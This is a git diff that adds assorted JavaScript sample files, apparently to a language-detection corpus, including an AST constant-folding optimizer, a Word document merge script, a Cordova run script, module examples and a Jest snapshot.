+const NEG_ZERO = Object.freeze({
+  [$CONSTEXPR]: true,
+  type: 'UnaryExpression',
+  operator: '-',
+  argument: Object.freeze({
+    [$CONSTEXPR]: true,
+    type: 'Literal',
+    value: 0,
+  }),
+});
+const INFINITY = Object.freeze({
+  [$CONSTEXPR]: true,
+  type: 'BinaryExpression',
+  operator: '/',
+  left: Object.freeze({
+    [$CONSTEXPR]: true,
+    type: 'Literal',
+    value: 1,
+  }),
+  right: Object.freeze({
+    [$CONSTEXPR]: true,
+    type: 'Literal',
+    value: 0,
+  }),
+});
+const NEG_INFINITY = Object.freeze({
+  [$CONSTEXPR]: true,
+  type: 'BinaryExpression',
+  operator: '/',
+  left: Object.freeze({
+    [$CONSTEXPR]: true,
+    type: 'Literal',
+    value: 1,
+  }),
+  right: NEG_ZERO,
+});
+const EMPTY = Object.freeze({
+  [$CONSTEXPR]: true,
+  type: 'EmptyStatement',
+});
+const NULL = Object.freeze({
+  [$CONSTEXPR]: true,
+  type: 'Literal',
+  value: null,
+});
+const NAN = Object.freeze({
+  [$CONSTEXPR]: true,
+  type: 'BinaryExpression',
+  operator: '/',
+  left: Object.freeze({
+    [$CONSTEXPR]: true,
+    type: 'Literal',
+    value: 0,
+  }),
+  right: Object.freeze({
+    [$CONSTEXPR]: true,
+    type: 'Literal',
+    value: 0,
+  }),
+});
+const UNDEFINED = Object.freeze({
+  [$CONSTEXPR]: true,
+  type: 'UnaryExpression',
+  operator: 'void',
+  argument: Object.freeze({
+    [$CONSTEXPR]: true,
+    type: 'Literal',
+    value: 0,
+  }),
+});
+// ESTree doesn't like negative numeric literals
+// this also preserves -0
+const IS_UNARY_NEGATIVE = node => {
+  if (
+    node.type === 'UnaryExpression' &&
+    node.operator === '-' &&
+    typeof node.argument.value === 'number' &&
+    node.argument.value === node.argument.value &&
+    node.argument.type === 'Literal'
+  ) {
+    return true;
+  }
+  return false;
+};
+const IS_CONSTEXPR = node => {
+  if (typeof node !== 'object' || node === null) {
+    return false;
+  }
+  // DONT CALCULATE THINGS MULTIPLE TIMES!!@!@#
+  if (node[$CONSTEXPR]) return true;
+  if (node.type === 'ArrayExpression') {
+    for (let i = 0; i < node.elements.length; i++) {
+      const element = node.elements[i];
+      // hole == null
+      if (element !== null && !IS_CONSTEXPR(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  if (node.type === 'ObjectExpression') {
+    for (let i = 0; i < node.properties.length; i++) {
+      const element = node.properties[i];
+      if (element.kind !== 'init') return false;
+      if (element.method) return false;
+      let key;
+      if (element.computed) {
+        // be sure {["y"]:1} works
+        if (!IS_CONSTEXPR(element.key)) {
+          return false;
+        }
+      }
+      if (!IS_CONSTEXPR(element.value)) return false;
+    }
+    return true;
+  }
+  if (node.type === 'Literal' || IS_UNDEFINED(node) || IS_NAN(node)) {
+    return true;
+  }
+  if (IS_UNARY_NEGATIVE(node)) {
+    return true;
+  }
+  return false;
+};
+const IS_NAN = node => {
+  return node === NAN;
+};
+const IS_UNDEFINED = node => {
+  return node === UNDEFINED;
+};
+const CONSTVALUE = node => {
+  if (node[$CONSTVALUE]) {
+    return node[$CONSTVALUE];
+  }
+  if (IS_UNDEFINED(node)) return void 0;
+  if (IS_NAN(node)) return +'_';
+  if (!IS_CONSTEXPR(node)) throw new Error('Not a CONSTEXPR');
+  if (node.type === 'ArrayExpression') {
+    let ret = [];
+    ret.length = node.elements.length;
+    for (let i = 0; i < node.elements.length; i++) {
+      if (node.elements[i] !== null) {
+        ret[i] = CONSTVALUE(node.elements[i]);
+      }
+    }
+    return ret;
+  }
+  if (node.type === 'ObjectExpression') {
+    let ret = Object.create(null);
+    for (let i = 0; i < node.properties.length; i++) {
+      const element = node.properties[i];
+      let key;
+      if (element.computed) {
+        key = `${CONSTVALUE(element.key)}`;
+      }
+      else {
+        key = element.key.name;
+      }
+      Object.defineProperty(ret, key, {
+        // duplicate keys...
+        configurable: true,
+        writable: true,
+        value: CONSTVALUE(element.value),
+        enumerable: true
+      });
+    }
+    Object.freeze(ret);
+    return ret;
+  }
+  if (IS_UNARY_NEGATIVE(node)) {
+    return -node.argument.value;
+  }
+  if (node.regex !== void 0) {
+    return new RegExp(node.regex.pattern, node.regex.flags);
+  }
+  return node.value;
+};
+const CONSTEXPRS = new Map();
+CONSTEXPRS.set(void 0, UNDEFINED);
+CONSTEXPRS.set(+'_', NAN);
+CONSTEXPRS.set(null, NULL);
+const TO_CONSTEXPR = value => {
+  if (value === -Infinity) {
+    return NEG_INFINITY;
+  }
+  if (value === Infinity) {
+    return INFINITY;
+  }
+  let is_neg_zero = 1 / value === -Infinity;
+  if (is_neg_zero) return NEG_ZERO;
+  if (CONSTEXPRS.has(value)) {
+    return CONSTEXPRS.get(value);
+  }
+  if (typeof value === 'number') {
+    if (value < 0) {
+      const CONSTEXPR = Object.freeze({
+        [$CONSTEXPR]: true,
+        [$CONSTVALUE]: value,
+        type: 'UnaryExpression',
+        operator: '-',
+        argument: Object.freeze({ type: 'Literal', value: -value }),
+      });
+      CONSTEXPRS.set(value, CONSTEXPR);
+      return CONSTEXPR;
+    }
+  }
+  if (
+    value === null ||
+    typeof value === 'number' ||
+    typeof value === 'boolean' ||
+    typeof value === 'string'
+  ) {
+    const CONSTEXPR = Object.freeze({
+      [$CONSTEXPR]: true,
+      [$CONSTVALUE]: value,
+      type: 'Literal',
+      value,
+    });
+    CONSTEXPRS.set(value, CONSTEXPR);
+    return CONSTEXPR;
+  }
+  // have to generate new one every time :-/
+  if (Array.isArray(value)) {
+    return Object.freeze({
+      [$CONSTEXPR]: true,
+      type: 'ArrayExpression',
+      elements: Object.freeze(value.map(TO_CONSTEXPR)),
+    });
+  }
+  if (typeof value === 'object' && Object.getPrototypeOf(value) === Object.getPrototypeOf({}) && [...Object.getOwnPropertySymbols(value)].length === 0) {
+    return Object.freeze({
+      [$CONSTEXPR]: true,
+      type: 'ObjectExpression',
+      properties: Object.freeze(
+        [...Object.getOwnPropertyKeys(value)].map(key => {
+          if (!('value' in Object.getOwnProperty(value, key))) {
+            throw Error('Not a CONSTVALUE (found a setter or getter?)');
+          }
+          return {
+            type: 'Property',
+            kind: 'init',
+            method: false,
+            shorthand: false,
+            computed: true,
+            key: {
+              type: 'Literal',
+              value: key
+            },
+            value: TO_CONSTEXPR(value[key])
+          }
+        })),
+      });
+  }
+  throw Error('Not a CONSTVALUE (did you pass a RegExp?)');
+};
+
+// THIS DOES NOT HANDLE NODE SPECIFIC CASES LIKE IfStatement
+const FOLD_EMPTY = function*(path) {
+  if (
+    path &&
+    path.node &&
+    path.parent &&
+    Array.isArray(path.parent.node) &&
+    IS_EMPTY(path)
+  ) {
+    REMOVE(path);
+    return yield;
+  }
+  return yield path;
+};
+
+// THIS DOES NOT HANDLE NODE SPECIFIC CASES LIKE IfStatement
+const FOLD_TEMPLATE = function*(path) {
+  if (
+    path &&
+    path.node &&
+    path.type === 'TemplateLiteral'
+  ) {
+    let updated = false;
+    for (let i = 0; i < path.node.exressions.length; i++) {
+      if (IS_CONSTEXPR(path.node.expressions[i])) {
+        //let 
+      }
+    }
+  }
+  return yield path;
+};
+const FOLD_EXPR_STMT = function*(path) {
+  // TODO: enforce completion value checking
+  if (path && path.node && path.node.type === 'ExpressionStatement') {
+    // merge all the adjacent expression statements into sequences
+    if (Array.isArray(path.parent.node)) {
+      // could have nodes after it
+      const siblings = path.parent.node;
+      if (!IS_PRAGMA(path)) {
+        if (path.key < siblings.length - 1) {
+          const mergeable = [path.node];
+          for (let needle = path.key + 1; needle < siblings.length; needle++) {
+            if (siblings[needle].type !== 'ExpressionStatement') {
+              break;
+            }
+            mergeable.push(siblings[needle]);
+          }
+          if (mergeable.length > 1) {
+            siblings.splice(path.key, mergeable.length, {
+              type: 'ExpressionStatement',
+              expression: {
+                type: 'SequenceExpression',
+                expressions: mergeable.reduce(
+                  (acc, es) => {
+                    if (es.expression.type == 'SequenceExpression') {
+                      return [...acc, ...es.expression.expressions];
+                    } else {
+                      return [...acc, es.expression];
+                    }
+                  },
+                  []
+                ),
+              },
+            });
+            return path;
+          }
+        }
+      }
+    }
+    if (IS_NOT_COMPLETION(path) && IS_CONSTEXPR(path.node.expression)) {
+      return REPLACE(path, EMPTY);
+    }
+  }
+  return yield path;
+};
+const FOLD_WHILE = function*(path) {
+  if (path && path.node) {
+    if (path.node.type === 'DoWhileStatement') {
+      console.error('FOLD_DOWHILE');
+      REPLACE_IF_EMPTY(path.get(['body']), EMPTY);
+    }
+    if (path.node.type === 'WhileStatement') {
+      console.error('FOLD_WHILE');
+      let { test, consequent, alternate } = path.node;
+      if (IS_CONSTEXPR(test)) {
+        test = CONSTVALUE(test);
+        if (!test) {
+          return REPLACE(path, EMPTY);
+        }
+      }
+      REPLACE_IF_EMPTY(path.get(['body']), EMPTY);
+    }
+    if (path.node.type === 'ForStatement') {
+      console.error('FOLD_FOR');
+      REPLACE_IF_EMPTY(path.get(['body']), EMPTY);
+      let { init, test, update } = path.node;
+      let updated = false;
+      if (init && IS_CONSTEXPR(init)) {
+        updated = true;
+        REPLACE(path.get(['init']), null);
+      }
+      if (test && IS_CONSTEXPR(test)) {
+        let current = CONSTVALUE(test);
+        let coerced = Boolean(current);
+        // remove the test if it is always true
+        if (coerced === true) {
+          updated = true;
+          REPLACE(path.get(['test']), null);
+        } else if (coerced !== current) {
+          updated = true;
+          REPLACE(path.get(['test']), TO_CONSTEXPR(coerced));
+        }
+      }
+      if (update && IS_CONSTEXPR(update)) {
+        updated = true;
+        REPLACE(path.get(['update']), null);
+      }
+      if (updated) {
+        return path;
+      }
+    }
+  }
+  return yield path;
+};
+const FOLD_IF = function*(path) {
+  if (path && path.node && path.node.type === 'IfStatement') {
+    let { test, consequent, alternate } = path.node;
+    const is_not_completion = IS_NOT_COMPLETION(path);
+    if (is_not_completion && !alternate) {
+      if (IS_EMPTY(path.get(['consequent']))) {
+        console.error('FOLD_IF_EMPTY_CONSEQUENT');
+        REPLACE(path, {
+          type: 'ExpressionStatement',
+          expression: test,
+        });
+        return path.parent;
+      }
+    }
+    if (alternate) {
+      if (alternate.type === consequent.type) {
+        if (consequent.type === 'ExpressionStatement') {
+          console.error('FOLD_IF_BOTH_EXPRSTMT');
+          REPLACE(path, {
+          type: 'ExpressionStatement', expression:
+          {
+            type: 'ConditionalExpression',
+            test: test,
+            consequent: consequent.expression,
+            alternate: alternate.expression,
+          }});
+          return path.parent;
+        }
+        else if (consequent.type === 'ReturnStatement' ||
+          consequent.type === 'ThrowStatement') {
+          console.error('FOLD_IF_BOTH_COMPLETIONS');
+          REPLACE(path, {
+          type: 'ExpressionStatement', expression:{
+            type: consequent.type,
+            argument: {
+              type: 'ConditionalExpression',
+              test: test,
+              consequent: consequent.argument,
+              alternate: alternate.argument,
+            }}
+          });
+          return path.parent;
+        }
+      }
+    }
+    else if (is_not_completion && consequent.type === 'ExpressionStatement') {
+      console.error('FOLD_IF_NON_COMPLETION_TO_&&');
+      REPLACE(path, {
+        type: 'ExpressionStatement',
+        expression: {
+          type: 'BinaryExpression',
+          operator: '&&',
+          left: test,
+          right: consequent.expression,
+        }
+      });
+      return path.parent;
+    }
+    if (IS_CONSTEXPR(test)) {
+      test = CONSTVALUE(test);
+      if (test) {
+        return REPLACE(path, consequent);
+      }
+      if (alternate) {
+        return REPLACE(path, alternate);
+      }
+      return REPLACE(path, EMPTY);
+    }
+    consequent = path.get(['consequent']);
+    let updated;
+    if (consequent.node !== EMPTY) {
+      REPLACE_IF_EMPTY(consequent, EMPTY);
+      if (consequent.parent.node[consequent.key] === EMPTY) {
+        updated = true;
+      }
+    }
+    if (alternate) {
+      alternate = path.get(['alternate']);
+      REMOVE_IF_EMPTY(alternate);
+      if (path.node.alternate === null) {
+        updated = true;
+      }
+    }
+    if (updated) {
+      return path;
+    }
+  }
+  return yield path;
+};
+const FOLD_SEQUENCE = function*(path) {
+  if (path && path.node && path.node.type === 'SequenceExpression') {
+    console.error('FOLD_SEQUENCE');
+    // never delete the last value
+    for (let i = 0; i < path.node.expressions.length - 1; i++) {
+      if (IS_CONSTEXPR(path.node.expressions[i])) {
+        path.node.expressions.splice(i, 1);
+        i--;
+      }
+    }
+    if (path.node.expressions.length === 1) {
+      return REPLACE(path, path.node.expressions[0]);
+    }
+  }
+  return yield path;
+};
+const FOLD_LOGICAL = function*(path) {
+  if (path && path.node && path.node.type === 'LogicalExpression') {
+    console.error('FOLD_LOGICAL');
+    let { left, right, operator } = path.node;
+    if (IS_CONSTEXPR(left)) {
+      left = CONSTVALUE(left);
+      if (operator === '||') {
+        if (left) {
+          return REPLACE(path, TO_CONSTEXPR(left));
+        }
+        return REPLACE(path, right);
+      } else if (operator === '&&') {
+        if (!left) {
+          return REPLACE(path, TO_CONSTEXPR(left));
+        }
+        return REPLACE(path, right);
+      }
+    }
+  }
+  return yield path;
+};
+const FOLD_SWITCH = function*(path) {
+  if (path && path.node && path.node.type === 'SwitchStatement') {
+    let { discriminant, cases } = path.node;
+    // if there are no cases, just become an expression
+    if (cases.length === 0 && IS_NOT_COMPLETION(path)) {
+      return REPLACE(path, {
+        type: 'ExpressionStatement',
+        expression: discriminant
+      });
+    }
+    // if the discriminant is static
+    //   remove any preceding non-matching static cases
+    //   fold any trailing cases into the matching case
+    if (cases.length > 1 && IS_CONSTEXPR(discriminant)) {
+      const discriminant_value = CONSTVALUE(discriminant);
+      for (var i = 0; i < cases.length; i++) {
+        const test = cases[i].test;
+        if (IS_CONSTEXPR(test)) {
+          let test_value = CONSTVALUE(test);
+          if (discriminant_value === test_value) {
+            let new_consequent = cases[i].consequent;
+            if (i < cases.length - 1) {
+              for (let fallthrough of cases.slice(i+1)) {
+                new_consequent.push(...fallthrough.consequent);
+              }
+            }
+            cases[i].consequent = new_consequent;
+            REPLACE(path.get(['cases']), [cases[i]]);
+            return path;
+          }
+        }
+        else {
+          // we had a dynamic case need to bail
+          break;
+        }
+      }
+    }
+  }
+  return yield path;
+};
+const FOLD_UNREACHABLE = function*(path) {
+  if (path && path.node && path.parent && Array.isArray(path.parent.node)) {
+    if (path.node.type === 'ReturnStatement' ||
+    path.node.type === 'ContinueStatement' ||
+    path.node.type === 'BreakStatement' ||
+    path.node.type === 'ThrowStatement') {
+      const next_key = path.key + 1;
+      path.parent.node.splice(next_key, path.parent.node.length - next_key);
+    }
+  }
+  return yield path;
+}
+const FOLD_CONDITIONAL = function*(path) {
+  if (path && path.node && path.node.type === 'ConditionalExpression') {
+    console.error('FOLD_CONDITIONAL');
+    let { test, consequent, alternate } = path.node;
+    if (IS_CONSTEXPR(test)) {
+      test = CONSTVALUE(test);
+      if (test) {
+        return REPLACE(path, consequent);
+      }
+      return REPLACE(path, alternate);
+    }
+  }
+  return yield path;
+};
+const FOLD_BINARY = function*(path) {
+  if (
+    path &&
+    path.node &&
+    path.node.type === 'BinaryExpression' &&
+    !IS_NAN(path.node)
+  ) {
+    console.error('FOLD_BINARY');
+    let { left, right, operator } = path.node;
+    if (operator === '==' || operator === '!=') {
+      let updated = false;
+      if (IS_UNDEFINED(left)) {
+        updated = true;
+        REPLACE(path.get(['left']), NULL);
+      }
+      if (IS_UNDEFINED(right)) {
+        updated = true;
+        REPLACE(path.get(['right']), NULL);
+      }
+      if (updated) {
+        return path;
+      }
+    }
+    if (path.node !== INFINITY && path.node !== NEG_INFINITY && IS_CONSTEXPR(left) && IS_CONSTEXPR(right)) {
+      left = CONSTVALUE(left);
+      right = CONSTVALUE(right);
+      let value;
+      if ((!left || typeof left !== 'object') && (!right || typeof right !== 'object')) {
+        if (operator === '+') {
+          value = left + right;
+        } else if (operator === '-') {
+          value = left - right;
+        } else if (operator === '*') {
+          value = left * right;
+        } else if (operator === '/') {
+          value = left / right;
+        } else if (operator === '%') {
+          value = left % right;
+        } else if (operator === '==') {
+          value = left == right;
+        } else if (operator === '!=') {
+          value = left != right;
+        } else if (operator === '===') {
+          value = left === right;
+        } else if (operator === '!==') {
+          value = left !== right;
+        } else if (operator === '<') {
+          value = left < right;
+        } else if (operator === '<=') {
+          value = left <= right;
+        } else if (operator === '>') {
+          value = left > right;
+        } else if (operator === '>=') {
+          value = left >= right;
+        } else if (operator === '<<') {
+          value = left << right;
+        } else if (operator === '>>') {
+          value = left >> right;
+        } else if (operator === '>>>') {
+          value = left >>> right;
+        } else if (operator === '|') {
+          value = left | right;
+        } else if (operator === '&') {
+          value = left & right;
+        } else if (operator === '^') {
+          value = left ^ right;
+        }
+      }
+      else {
+        if (operator === '==') value = false;
+        if (operator === '===') value = false;
+        if (operator === '!=') value = true;
+        if (operator === '!==') value = true;
+        if (operator === 'in' && typeof right === 'object' && right) {
+          value = Boolean(Object.getOwnPropertyDescriptor(right, left));
+        }
+      }
+      if (value !== void 0) {
+        if (typeof value === 'string' || typeof value === 'boolean' || value === null) {
+          return REPLACE(path, TO_CONSTEXPR(value));
+        }
+        if (typeof value === 'number') {
+          return REPLACE(path, TO_CONSTEXPR(value));
+        }
+      }
+    }
+  }
+  return yield path;
+};
+const FOLD_UNARY = function*(path) {
+  if (path && path.node && path.node.type === 'UnaryExpression') {
+    console.error('FOLD_UNARY');
+    if (IS_CONSTEXPR(path.node)) {
+      return yield path;
+    }
+    let { argument, operator } = path.node;
+    if (IS_CONSTEXPR(argument)) {
+      if (operator === 'void') {
+        return REPLACE(path, UNDEFINED);
+      }
+      let value = CONSTVALUE(argument);
+      if (operator === '-') {
+        value = -value;
+      } else if (operator === '+') {
+        value = +value;
+      } else if (operator === '~') {
+        value = ~value;
+      } else if (operator === '!') {
+        value = !value;
+      } else if (operator === 'typeof') {
+        value = typeof value;
+      } else if (operator === 'delete') {
+        value = true;
+      }
+      return REPLACE(path, TO_CONSTEXPR(value));
+    }
+  }
+  return yield path;
+};
+const FOLD_EVAL = function*(path) {
+  if (path && path.node && path.node.type === 'CallExpression' &&
+    path.node.callee.type === 'Identifier' && path.node.callee.name === 'eval') {
+    console.error('FOLD_EVAL');
+    if (path.node.arguments.length === 1 && path.node.arguments[0].type === 'Literal') {
+      let result = esprima.parse(`${
+        CONSTVALUE(path.node.arguments[0])
+      }`);
+      if (result.body.length === 1 && result.body[0].type === 'ExpressionStatement') {
+        return REPLACE(path, result.body[0].expression);
+      }
+    }
+  }
+  return yield path;
+}
+const FOLD_MEMBER = function*(path) {
+  if (path && path.node && path.node.type === 'MemberExpression') {
+    console.error('FOLD_MEMBER');
+    if (path.node.computed && path.node.property.type === 'Literal') {
+      const current = `${CONSTVALUE(path.node.property)}`;
+      if (typeof current === 'string' && /^[$_a-z][$_a-z\d]*$/i.test(current)) {
+        path.node.computed = false;
+        path.node.property = {
+          type: 'Identifier',
+          name: current,
+        };
+        return path;
+      }
+    }
+    if (IS_CONSTEXPR(path.node.object)) {
+      const value = CONSTVALUE(path.node.object);
+      if (typeof value === 'string' || Array.isArray(value) || (value && typeof value === 'object')) {
+        let key;
+        if (IS_CONSTEXPR(path.node.property)) {
+          key = `${CONSTVALUE(path.node.property)}`;
+        }
+        else if (!path.node.computed) {
+          key = path.node.property.name;
+        }
+        if (key !== void 0) {
+          const desc = Object.getOwnPropertyDescriptor(value, key);
+          if (desc) {
+            const folded = value[key];
+            console.error('FOLDING', JSON.stringify(folded));
+            if (IN_PRAGMA_POS(path) && typeof folded === 'string') {
+              if (value.length > 1) {
+                REPLACE(
+                  path.get(['object']),
+                  TO_CONSTEXPR(value.slice(key, key + 1))
+                );
+                REPLACE(path.get(['property']), TO_CONSTEXPR(0));
+                return path;
+              }
+            } else {
+              return REPLACE(path, TO_CONSTEXPR(value[key]));
+            }
+          }
+        }
+      }
+    }
+  }
+  return yield path;
+};
+
+const $MIN = Symbol();
+const MIN_TRUE = Object.freeze({
+  [$MIN]: true,
+  type: 'UnaryExpression',
+  operator: '!',
+  argument: Object.freeze({
+    [$MIN]: true,
+    type: 'Literal',
+    value: 0
+  })
+});
+const MIN_FALSE = Object.freeze({
+  [$MIN]: true,
+  type: 'UnaryExpression',
+  operator: '!',
+  argument: Object.freeze({
+    [$MIN]: true,
+    type: 'Literal',
+    value: 1
+  })
+});
+const MIN_REPLACEMENTS = new Map;
+MIN_REPLACEMENTS.set(true, MIN_TRUE);
+MIN_REPLACEMENTS.set(false, MIN_FALSE);
+const MIN_VALUES = function*(path) {
+  if (path && path.node && !path.node[$MIN] && IS_CONSTEXPR(path.node)) {
+    let value = CONSTVALUE(path.node);
+    if (MIN_REPLACEMENTS.has(value)) {
+      console.error('MIN_VALUE', value)
+      return REPLACE(path, MIN_REPLACEMENTS.get(value));
+    }
+  }
+  return yield path;
+}
+
+import esprima from 'esprima';
+import util from 'util';
+import escodegen from 'escodegen';
+const optimize = (src) => {
+    const ROOT = new NodePath(
+      null,
+      esprima.parse(
+        src,
+        {
+          // loc: true,
+          // source: '<stdin>',
+        }
+      ),
+      null
+    );
+    // all of these are things that could affect completion value positions
+    const walk_expressions = WalkCombinator.pipe(
+      ...[
+        WalkCombinator.DEPTH_FIRST,
+        {
+          // We never work on Arrays
+          *inputs(path) {
+            if (Array.isArray(path)) return;
+            return yield path;
+          },
+        },
+        { inputs: FOLD_UNREACHABLE },
+        { inputs: FOLD_IF },
+        { inputs: FOLD_SWITCH },
+        { inputs: FOLD_EXPR_STMT },
+        { inputs: FOLD_CONDITIONAL },
+        { inputs: FOLD_LOGICAL },
+        { inputs: FOLD_BINARY },
+        { inputs: FOLD_UNARY },
+        { inputs: FOLD_SEQUENCE },
+        { inputs: FOLD_MEMBER },
+        { inputs: FOLD_EMPTY },
+        { inputs: FOLD_WHILE },
+        { inputs: FOLD_EVAL },
+      ]
+    ).walk(ROOT);
+    for (const _ of walk_expressions) {
+    }
+    const minify = WalkCombinator.pipe(
+      ...[
+        WalkCombinator.DEPTH_FIRST,
+        {
+          // We never work on Arrays
+          *inputs(path) {
+            if (Array.isArray(path)) return;
+            return yield path;
+          },
+        },
+        { inputs: MIN_VALUES },
+      ]
+    ).walk(ROOT);
+    for (const _ of minify) {
+    }
+    return ROOT;
+}
+import mississippi from 'mississippi';
+process.stdin.pipe(
+  mississippi.concat(buff => {
+    const ROOT = optimize(`${buff}`)
+    console.error(
+      '%s',
+      util.inspect(ROOT.node, {
+        depth: null,
+        colors: true,
+      })
+    );
+    const out = escodegen.generate(ROOT.node);
+    console.log(out);
+  })
+);
diff --git a/samples/JavaScript/entry.mjs b/samples/JavaScript/entry.mjs
new file mode 100644
index 0000000000..bc1775f26a
--- /dev/null
+++ b/samples/JavaScript/entry.mjs
@@ -0,0 +1,6 @@
+import bar from './module.mjs';
+function foo() {
+  return "I am foo";
+}
+export {foo};
+console.log(bar);
diff --git a/samples/JavaScript/json2_backbone.js b/samples/JavaScript/json2_backbone.js
index ccf1225215..bd40d104f4 100644
--- a/samples/JavaScript/json2_backbone.js
+++ b/samples/JavaScript/json2_backbone.js
@@ -1149,4 +1149,4 @@ var JSON;if(!JSON){JSON={}}(function(){function f(n){return n<10?"0"+n:n}if(type
     return string.replace(/&(?!\w+;|#\d+;|#x[\da-f]+;)/gi, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27').replace(/\//g,'&#x2F;');
   };
 
-}).call(this);
\ No newline at end of file
+}).call(this);
diff --git a/samples/JavaScript/merge.js b/samples/JavaScript/merge.js
new file mode 100644
index 0000000000..9c015f048e
--- /dev/null
+++ b/samples/JavaScript/merge.js
@@ -0,0 +1,41 @@
+#!/usr/bin/env osascript -l JavaScript
+
+function run(argv) {
+  var app = Application.currentApplication()
+  app.includeStandardAdditions = true
+
+  var word = Application('Microsoft Word')
+
+  app.doShellScript('mkdir -p /tmp/word_git')
+  app.doShellScript('cp "' + argv[0] + '" /tmp/word_git/base.docx')
+  app.doShellScript('cp "' + argv[1] + '" /tmp/word_git/local.docx')
+  app.doShellScript('cp "' + argv[2] + '" /tmp/word_git/remote.docx')
+
+  word.open('/tmp/word_git/local.docx', {addToRecentFiles: false})
+  word.documents['local.docx'].close()
+  word.open('/tmp/word_git/remote.docx', {addToRecentFiles: false})
+  word.documents['remote.docx'].close()
+
+  word.open('/tmp/word_git/base.docx', {addToRecentFiles: false})
+  word.documents['base.docx'].compare({path: '/tmp/word_git/local.docx', authorName: "Local"})
+  word.documents[0].saveAs({fileName: '/tmp/word_git/local_comp.docx'})
+  word.documents['local_comp.docx'].close()
+
+  word.documents['base.docx'].close()
+  word.open('/tmp/word_git/base.docx', {addToRecentFiles: false})
+  word.documents['base.docx'].compare({path: '/tmp/word_git/remote.docx', authorName: "Remote"})
+  word.documents[0].saveAs({fileName: '/tmp/word_git/remote_comp.docx'})
+  word.documents['remote_comp.docx'].close()
+  
+  word.documents['base.docx'].close({saving: "no"})
+  
+  word.open('/tmp/word_git/local_comp.docx', {addToRecentFiles: false})
+  Application("Microsoft Word").merge(Application("Microsoft Word").documents.byName("local_comp.docx"), {fileName:"/tmp/word_git/remote_comp.docx"})
+  word.documents[0].saveAs({fileName: '/tmp/word_git/merged.docx'})
+  word.documents['local_comp.docx'].close({saving: "no"})
+  
+  app.displayDialog('Merge your changes now.', {buttons: ["Done Merging"]})
+  word.documents['merged.docx'].close({saving: "yes"})
+
+  app.doShellScript('cp /tmp/word_git/remote.docx "' + argv[3] + '"')
+}
diff --git a/samples/JavaScript/module.mjs b/samples/JavaScript/module.mjs
new file mode 100644
index 0000000000..48e7920dca
--- /dev/null
+++ b/samples/JavaScript/module.mjs
@@ -0,0 +1,5 @@
+import {foo} from './entry.mjs';
+console.log(foo());
+
+const bar = "I am bar.";
+export {bar as default};
diff --git a/samples/JavaScript/proto.js b/samples/JavaScript/proto.js
new file mode 100644
index 0000000000..ff7c0669a9
--- /dev/null
+++ b/samples/JavaScript/proto.js
@@ -0,0 +1,31 @@
+/**
+ * @fileoverview
+ * @enhanceable
+ * @public
+ */
+// GENERATED CODE -- DO NOT EDIT!
+
+goog.provide('proto.google.protobuf.Timestamp');
+
+goog.require('jspb.Message');
+
+/**
+ * Generated by JsPbCodeGenerator.
+ * @param {Array=} opt_data Optional initial data array, typically from a
+ * server response, or constructed directly in Javascript. The array is used
+ * in place and becomes part of the constructed object. It is not cloned.
+ * If no data is provided, the constructed object will be empty, but still
+ * valid.
+ * @extends {jspb.Message}
+ * @constructor
+ */
+proto.google.protobuf.Timestamp = function(opt_data) {
+  jspb.Message.initialize(this, opt_data, 0, -1, null, null);
+};
+goog.inherits(proto.google.protobuf.Timestamp, jspb.Message);
+if (goog.DEBUG && !COMPILED) {
+  proto.google.protobuf.Timestamp.displayName = 'proto.google.protobuf.Timestamp';
+}
+
+
+// Remainder elided
\ No newline at end of file
diff --git a/samples/JavaScript/run b/samples/JavaScript/run
new file mode 100644
index 0000000000..d4c690b178
--- /dev/null
+++ b/samples/JavaScript/run
@@ -0,0 +1,70 @@
+#!/usr/bin/env node
+
+/*
+       Licensed to the Apache Software Foundation (ASF) under one
+       or more contributor license agreements.  See the NOTICE file
+       distributed with this work for additional information
+       regarding copyright ownership.  The ASF licenses this file
+       to you under the Apache License, Version 2.0 (the
+       "License"); you may not use this file except in compliance
+       with the License.  You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+    
+       Unless required by applicable law or agreed to in writing,
+       software distributed under the License is distributed on an
+       "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+       KIND, either express or implied.  See the License for the
+       specific language governing permissions and limitations
+       under the License.
+*/
+
+var fs = require('fs'),
+    path = require('path'),
+    nopt  = require('nopt'),
+    url = require('url'),
+    cordovaServe = require('cordova-serve');
+
+var args = process.argv;
+
+start(args);
+
+function start(argv) {
+    var args  = nopt({'help': Boolean, 'target': String, 'port': Number}, {'help': ['/?', '-h', 'help', '-help', '/help']}, argv);
+    if(args.help) {
+        help();
+    }
+
+    // defaults
+    args.port = args.port || 8000;
+    args.target = args.target || "chrome";
+
+    var root = path.join(__dirname, '../'),
+        configFile = path.resolve(path.join(root, 'config.xml')),
+        configXML = fs.readFileSync(configFile, 'utf8'),
+        sourceFile = /<content[\s]+?src\s*=\s*"(.*?)"/i.exec(configXML);
+
+    var server = cordovaServe();
+    server.servePlatform('browser', {port: args.port, noServerInfo: true}).then(function () {
+        var projectUrl = url.resolve('http://localhost:' + server.port + '/', sourceFile ? sourceFile[1] : 'index.html');
+        console.log('Static file server running @ ' + projectUrl + '\nCTRL + C to shut down');
+        return cordovaServe.launchBrowser({target: args.target, url: projectUrl});
+    }).catch(function (error) {
+        console.log(error.message || error.toString());
+        if (server.server) {
+            server.server.close();
+        }
+    });
+}
+
+function help() {
+    console.log("\nUsage: run [ --target=<browser> ] [ --port=<number> ]");
+    console.log("    --target=<browser> : Launches the specified browser. Chrome is default.");
+    console.log("    --port=<number>    : Http server uses specified port number.");
+    console.log("Examples:");
+    console.log("    run");
+    console.log("    run -- --target=ie");
+    console.log("    run -- --target=chrome --port=8000");
+    console.log("");
+    process.exit(0);
+}
diff --git a/samples/JSX/sample.jsx b/samples/JavaScript/sample.jsx
similarity index 100%
rename from samples/JSX/sample.jsx
rename to samples/JavaScript/sample.jsx
diff --git a/samples/Jest Snapshot/css.test.tsx.snap b/samples/Jest Snapshot/css.test.tsx.snap
new file mode 100644
index 0000000000..4cfff8fb37
--- /dev/null
+++ b/samples/Jest Snapshot/css.test.tsx.snap	
@@ -0,0 +1,196 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`inlines styles 1`] = `
+Object {
+  "Tag": [Function],
+  "children": Array [
+    <Defs>
+      <missingTag
+        type="text/css"
+      >
+
+      /* tag selector */
+      rect {
+        stroke: blue;
+        fill: yellow
+      }
+
+      /* class selector */
+      .redbox { fill: red; }
+
+      /* multiple selectors */
